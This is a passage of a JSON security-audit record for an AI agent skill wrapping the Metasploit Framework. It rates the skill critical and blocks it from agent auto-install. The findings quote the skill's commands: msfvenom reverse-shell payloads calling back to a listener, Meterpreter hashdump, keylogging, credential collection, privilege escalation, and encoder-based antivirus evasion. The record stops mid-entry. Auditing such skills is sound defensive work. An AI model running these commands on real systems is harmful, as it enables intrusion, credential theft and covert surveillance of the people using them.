{"data":{"skill":{"slug":"sickn33-metasploit-framework","name":"metasploit-framework","icon":"📦","repo":"https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/metasploit-framework","status":"approved","author":"zebbern","authorVersion":null,"skillstoreRevision":2},"audit":{"id":"245a8b1c-78f1-45a2-9aa5-c83b0c18c420","skill_id":"0c89d57d-6c24-4f74-989d-9cbaa6992dfa","version":5,"content_hash":"v3:81e05e636292629114b76cbb3922fbe57672fc02:b11ba0fa8ab67d9a84e1cb8372bc1cab84367ed36056baa5a7a3ff4299e44ac7:253dd9741f9c4579e3988b4ab7ef5d1361fc3889158d7ee07438478f2ed70e30:736b696c6c732f7369636b6e33332f6d65746173706c6f69742d6672616d65776f726b:459e5a54093338f30a500f194fef4ca3","risk_level":"critical","is_blocked":true,"safe_to_publish":false,"analysis_status":"ok","agent_auto_install_policy":"blocked","manual_install_policy":"allowed_with_warning","summary":"Markdown formatting and private example addresses caused many false positives, but the skill contains extensive actionable offensive guidance. Confirmed risks include exploitation, payload generation, keylogging, credential access, persistence, defense evasion, file transfer, network scanning, and privileged setup.","remediation":[{"issue":"The skill teaches keylogging, credential dumping, screen capture, and target file transfer.","severity":"critical","suggestion":"Remove surveillance and credential-access commands. Limit post-exploitation content to evidence-preserving validation steps that do not collect user data."},{"issue":"The skill provides payload generation, persistence, reverse-session, and defense-evasion instructions.","severity":"critical","suggestion":"Remove deployable payload and persistence workflows. Restrict examples to isolated labs and non-executing defensive analysis."},{"issue":"The skill includes exploit execution, brute-force login, and active network-scanning workflows.","severity":"high","suggestion":"Replace operational attack steps with authorization checks, module documentation review, and non-invasive vulnerability validation."},{"issue":"Troubleshooting instructs users to run a privileged database initialization command.","severity":"high","suggestion":"Remove the `sudo` instruction and direct users to reviewed platform documentation for administrator-managed setup."}],"risk_factor_evidence":[{"factor":"external_commands","evidence":[{"file":"SKILL.md","line_end":37,"line_start":33},{"file":"SKILL.md","line_end":41,"line_start":37},{"file":"SKILL.md","line_end":41,"line_start":41},{"file":"SKILL.md","line_end":86,"line_start":69},{"file":"SKILL.md","line_end":92,"line_start":86},{"file":"SKILL.md","line_end":118,"line_start":92},{"file":"SKILL.md","line_end":124,"line_start":118},{"file":"SKILL.md","line_end":145,"line_start":124},{"file":"SKILL.md","line_end":151,"line_start":145},{"file":"SKILL.md","line_end":184,"line_start":151},{"file":"SKILL.md","line_end":190,"line_start":184},{"file":"SKILL.md","line_end":210,"line_start":190},{"file":"SKILL.md","line_end":216,"line_start":210},{"file":"SKILL.md","line_end":267,"line_start":216},{"file":"SKILL.md","line_end":273,"line_start":267},{"file":"SKILL.md","line_end":306,"line_start":273},{"file":"SKILL.md","line_end":312,"line_start":306},{"file":"SKILL.md","line_end":347,"line_start":312},{"file":"SKILL.md","line_end":353,"line_start":347},{"file":"SKILL.md","line_end":386,"line_start":353},{"file":"SKILL.md","line_end":392,"line_start":386},{"file":"SKILL.md","line_end":408,"line_start":392},{"file":"SKILL.md","line_end":416,"line_start":408},{"file":"SKILL.md","line_end":417,"line_start":416},{"file":"SKILL.md","line_end":418,"line_start":417},{"file":"SKILL.md","line_end":419,"line_start":418},{"file":"SKILL.md","line_end":420,"line_start":419},{"file":"SKILL.md","line_end":421,"line_start":420},{"file":"SKILL.md","line_end":422,"line_start":421},{"file":"SKILL.md","line_end":422,"line_start":422},{"file":"SKILL.md","line_end":424,"line_start":423},{"file":"SKILL.md","line_end":425,"line_start":424},{"file":"SKILL.md","line_end":426,"line_start":425},{"file":"SKILL.md","line_end":427,"line_start":426},{"file":"SKILL.md","line_end":428,"line_start":427},{"file":"SKILL.md","line_end":434,"line_start":428},{"file":"SKILL.md","line_end":435,"line_start":434},{"file":"SKILL.md","line_end":436,"line_start":435},{"file":"SKILL.md","line_end":437,"line_start":436},{"file":"SKILL.md","line_end":438,"line_start":437},{"file":"SKILL.md","line_end":439,"line_start":438},{"file":"SKILL.md","line_end":440,"line_start":439},{"file":"SKILL.md","line_end":441,"line_start":440},{"file":"SKILL.md","line_end":442,"line_start":441},{"file":"SKILL.md","line_end":443,"line_start":442},{"file":"SKILL.md","line_end":444,"line_start":443},{"file":"SKILL.md","line_end":448,"line_start":444},{"file":"SKILL.md","line_end":464,"line_start":448},{"file":"SKILL.md","line_end":490,"line_start":464},{"file":"SKILL.md","line_end":490,"line_start":490}]},{"factor":"network","evidence":[{"file":"SKILL.md","line_end":159,"line_start":159},{"file":"SKILL.md","line_end":171,"line_start":171},{"file":"SKILL.md","line_end":241,"line_start":241},{"file":"SKILL.md","line_end":276,"line_start":276},{"file":"SKILL.md","line_end":281,"line_start":281},{"file":"SKILL.md","line_end":287,"line_start":287},{"file":"SKILL.md","line_end":292,"line_start":292},{"file":"SKILL.md","line_end":297,"line_start":297},{"file":"SKILL.md","line_end":302,"line_start":302},{"file":"SKILL.md","line_end":355,"line_start":355},{"file":"SKILL.md","line_end":358,"line_start":358},{"file":"SKILL.md","line_end":361,"line_start":361},{"file":"SKILL.md","line_end":364,"line_start":364},{"file":"SKILL.md","line_end":367,"line_start":367},{"file":"SKILL.md","line_end":370,"line_start":370},{"file":"SKILL.md","line_end":373,"line_start":373},{"file":"SKILL.md","line_end":376,"line_start":376},{"file":"SKILL.md","line_end":379,"line_start":379},{"file":"SKILL.md","line_end":396,"line_start":396}]},{"factor":"filesystem","evidence":[{"file":"SKILL.md","line_end":229,"line_start":229},{"file":"SKILL.md","line_end":230,"line_start":230}]}],"critical_findings":[{"title":"Keylogger keywords","locations":[{"file":"SKILL.md","line_end":251,"line_start":251}],"confidence":1,"description":"# Screenshots and Keylogging","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information."},{"title":"Keylogger keywords","locations":[{"file":"SKILL.md","line_end":441,"line_start":441}],"confidence":1,"description":"| `keyscan_start` | Start keylogger |","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":28,"line_start":28}],"confidence":0.98,"description":"Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":99,"line_start":99}],"confidence":0.98,"description":"msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":168,"line_start":168}],"confidence":0.98,"description":"msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":196,"line_start":196}],"confidence":0.98,"description":"windows/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":197,"line_start":197}],"confidence":0.98,"description":"linux/x86/meterpreter/bind_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":205,"line_start":205}],"confidence":0.98,"description":"windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":207,"line_start":207}],"confidence":0.98,"description":"php/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":208,"line_start":208}],"confidence":0.98,"description":"java/meterpreter/reverse_https","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":209,"line_start":209}],"confidence":0.98,"description":"android/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":212,"line_start":212}],"confidence":0.98,"description":"### Phase 6: Meterpreter Session","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":214,"line_start":214}],"confidence":0.98,"description":"Work with Meterpreter post-exploitation:","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":217,"line_start":217}],"confidence":0.98,"description":"# After successful exploitation, you get Meterpreter prompt","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":221,"line_start":221}],"confidence":0.98,"description":"meterpreter > sysinfo","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":222,"line_start":222}],"confidence":0.98,"description":"meterpreter > getuid","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":223,"line_start":223}],"confidence":0.98,"description":"meterpreter > getpid","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":226,"line_start":226}],"confidence":0.98,"description":"meterpreter > pwd","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":227,"line_start":227}],"confidence":0.98,"description":"meterpreter > ls","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":228,"line_start":228}],"confidence":0.98,"description":"meterpreter > cd C:\\\\Users","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":229,"line_start":229}],"confidence":0.98,"description":"meterpreter > download file.txt /tmp/","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":230,"line_start":230}],"confidence":0.98,"description":"meterpreter > upload /tmp/tool.exe C:\\\\","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":233,"line_start":233}],"confidence":0.98,"description":"meterpreter > ps","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":234,"line_start":234}],"confidence":0.98,"description":"meterpreter > migrate [PID]","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":235,"line_start":235}],"confidence":0.98,"description":"meterpreter > kill [PID]","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":238,"line_start":238}],"confidence":0.98,"description":"meterpreter > ipconfig","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":239,"line_start":239}],"confidence":0.98,"description":"meterpreter > netstat","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":240,"line_start":240}],"confidence":0.98,"description":"meterpreter > route","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":241,"line_start":241}],"confidence":0.98,"description":"meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":244,"line_start":244}],"confidence":0.98,"description":"meterpreter > getsystem","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":245,"line_start":245}],"confidence":0.98,"description":"meterpreter > getprivs","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":248,"line_start":248}],"confidence":0.98,"description":"meterpreter > hashdump","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":249,"line_start":249}],"confidence":0.98,"description":"meterpreter > run post/windows/gather/credentials/credential_collector","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":252,"line_start":252}],"confidence":0.98,"description":"meterpreter > screenshot","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":253,"line_start":253}],"confidence":0.98,"description":"meterpreter > keyscan_start","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":254,"line_start":254}],"confidence":0.98,"description":"meterpreter > keyscan_dump","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":255,"line_start":255}],"confidence":0.98,"description":"meterpreter > keyscan_stop","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":258,"line_start":258}],"confidence":0.98,"description":"meterpreter > shell","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":264,"line_start":264}],"confidence":0.98,"description":"meterpreter > background","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":322,"line_start":322}],"confidence":0.98,"description":"meterpreter > run post/windows/gather/hashdump","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":355,"line_start":355}],"confidence":0.98,"description":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":358,"line_start":358}],"confidence":0.98,"description":"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":361,"line_start":361}],"confidence":0.98,"description":"msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":364,"line_start":364}],"confidence":0.98,"description":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":367,"line_start":367}],"confidence":0.98,"description":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":370,"line_start":370}],"confidence":0.98,"description":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":373,"line_start":373}],"confidence":0.98,"description":"msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":376,"line_start":376}],"confidence":0.98,"description":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":379,"line_start":379}],"confidence":0.98,"description":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":395,"line_start":395}],"confidence":0.98,"description":"msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":404,"line_start":404}],"confidence":0.98,"description":"[*] Meterpreter session 1 opened","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Post-Compromise Persistence Guidance","locations":[{"file":"SKILL.md","line_end":343,"line_start":341}],"confidence":0.99,"description":"The skill recommends Windows executable persistence and Linux SSH-key persistence modules. These actions maintain unauthorized access after initial compromise.","review_kind":"security","source_category":"semantic","source_severity":"critical","confidence_reasoning":"The section is explicitly labeled persistence and names two operational persistence modules. The intent and capability are direct."},{"title":"Security Control Evasion Guidance","locations":[{"file":"SKILL.md","line_end":117,"line_start":109},{"file":"SKILL.md","line_end":379,"line_start":378},{"file":"SKILL.md","line_end":493,"line_start":480}],"confidence":1,"description":"The skill recommends evasion modules, encoded payloads, and avoiding monitoring detection. This guidance helps payloads bypass defensive controls.","review_kind":"security","source_category":"semantic","source_severity":"critical","confidence_reasoning":"The source explicitly says to bypass security controls, evade antivirus, and avoid detection. It also supplies encoder and evasion-module directions."}],"high_findings":[{"title":"sudo privilege escalation","locations":[{"file":"SKILL.md","line_end":490,"line_start":490}],"confidence":0.99,"description":"| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |","review_kind":"capability","source_category":"external_commands","source_severity":"high","confidence_reasoning":"The troubleshooting table explicitly instructs users to run `sudo msfdb init`. This requests privileged host changes and contradicts the earlier claim that privileged setup is unnecessary."},{"title":"Temp directory access","locations":[{"file":"SKILL.md","line_end":229,"line_start":229}],"confidence":0.99,"description":"meterpreter > download file.txt /tmp/","review_kind":"capability","source_category":"filesystem","source_severity":"medium","confidence_reasoning":"This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment."},{"title":"Temp directory access","locations":[{"file":"SKILL.md","line_end":230,"line_start":230}],"confidence":0.99,"description":"meterpreter > upload /tmp/tool.exe C:\\\\","review_kind":"capability","source_category":"filesystem","source_severity":"medium","confidence_reasoning":"This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment."},{"title":"Screen capture upload","locations":[{"file":"SKILL.md","line_end":440,"line_start":440}],"confidence":0.99,"description":"| `screenshot` | Capture screen |","review_kind":"security","source_category":"blocker","source_severity":"high","confidence_reasoning":"The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data."},{"title":"Network scanning tools","locations":[{"file":"SKILL.md","line_end":428,"line_start":428}],"confidence":0.99,"description":"| `db_nmap` | Run nmap with database |","review_kind":"security","source_category":"blocker","source_severity":"high","confidence_reasoning":"The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database."},{"title":"Credential Brute Force Workflow","locations":[{"file":"SKILL.md","line_end":305,"line_start":300}],"confidence":0.99,"description":"The skill configures SSH login attempts with username and password wordlists. This enables automated credential attacks beyond defensive vulnerability review.","review_kind":"security","source_category":"semantic","source_severity":"high","confidence_reasoning":"The named SSH login module and both credential wordlists clearly establish brute-force intent. The workflow ends with an instruction to run the attack."}],"medium_findings":[],"low_findings":[{"title":"System reconnaissance","locations":[{"file":"SKILL.md","line_end":223,"line_start":222}],"confidence":0.99,"description":"meterpreter > getuid","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance."},{"title":"System reconnaissance","locations":[{"file":"SKILL.md","line_end":225,"line_start":223}],"confidence":0.99,"description":"meterpreter > getpid","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance."},{"title":"System reconnaissance","locations":[{"file":"SKILL.md","line_end":259,"line_start":259}],"confidence":0.99,"description":"C:\\Windows\\system32> whoami","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance."},{"title":"Network reconnaissance","locations":[{"file":"SKILL.md","line_end":239,"line_start":239}],"confidence":0.99,"description":"meterpreter > netstat","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance."}],"dangerous_patterns":[{"title":"Keylogger keywords","locations":[{"file":"SKILL.md","line_end":251,"line_start":251}],"confidence":1,"description":"# Screenshots and Keylogging","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information."},{"title":"Keylogger keywords","locations":[{"file":"SKILL.md","line_end":441,"line_start":441}],"confidence":1,"description":"| `keyscan_start` | Start keylogger |","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information."},{"title":"Screen capture upload","locations":[{"file":"SKILL.md","line_end":440,"line_start":440}],"confidence":0.99,"description":"| `screenshot` | Capture screen |","review_kind":"security","source_category":"blocker","source_severity":"high","confidence_reasoning":"The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":28,"line_start":28}],"confidence":0.98,"description":"Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":99,"line_start":99}],"confidence":0.98,"description":"msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":168,"line_start":168}],"confidence":0.98,"description":"msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":196,"line_start":196}],"confidence":0.98,"description":"windows/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":197,"line_start":197}],"confidence":0.98,"description":"linux/x86/meterpreter/bind_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":205,"line_start":205}],"confidence":0.98,"description":"windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":207,"line_start":207}],"confidence":0.98,"description":"php/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":208,"line_start":208}],"confidence":0.98,"description":"java/meterpreter/reverse_https","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target 